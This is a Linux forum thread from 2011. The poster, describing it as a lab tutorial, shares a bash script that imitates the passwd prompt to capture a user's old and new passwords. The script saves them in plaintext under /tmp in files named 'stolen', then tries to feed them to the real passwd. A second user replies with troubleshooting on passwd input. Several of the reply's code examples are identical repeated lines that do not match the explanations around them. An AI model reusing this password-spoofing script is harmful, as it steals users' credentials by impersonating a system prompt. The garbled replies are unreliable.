Results 1 to 2 of 2
Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject.
I want to capture the users password when ...
- 06-26-2011 #1Just Joined!
- Join Date
- Apr 2011
- Posts
- 5
How to change password using a script file and text file?
Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject.
I want to capture the users password when he changes his password. Both new and old.
This is the script i have come up with:
Both method 1 and method 2 doesn't work. It gives the "Authentication token manipulation header" error in the terminal. Why?Code:#!/bin/bash echo "Changing password for user $USER." echo "(current) UNIX password: " read hacked newpass=0 confpass=1 while [ $newpass != $confpass ] do echo "Enter new UNIX password: " read newpass echo "Retype new UNIX password: " read confpass done echo $hacked > /tmp/stolen echo $newpass > /tmp/newstolen echo $hacked > /tmp/compilestolen echo $newpass >> /tmp/compilestolen echo $newpass >> /tmp/compilestolen #[method 1] echo $hacked $newpass $confpass | passwd #[method 2] passwd < /tmp/compilestolen.txt
- 07-02-2011 #2Linux User
- Join Date
- Jan 2005
- Location
- Saint Paul, MN
- Posts
- 262
In method 1, you are assuming that the command reads three arguments from stdin on a single line. Which the command passwd does not do. It is the same as attempting to do:
In method 2, you are assuming that the command reads three arguments from stdin on seperate lines. Which the command passwd does not do. It is the same as attempting to do:Code:passwd hacked_value newpass_value newpass_value
The passwd command needs to have the userid as an argument to the command and then two lines of data such as:Code:passwd hacked_value newpass_value newpass_value
Code:passwd hacked_value newpass_value newpass_value


Reply With Quote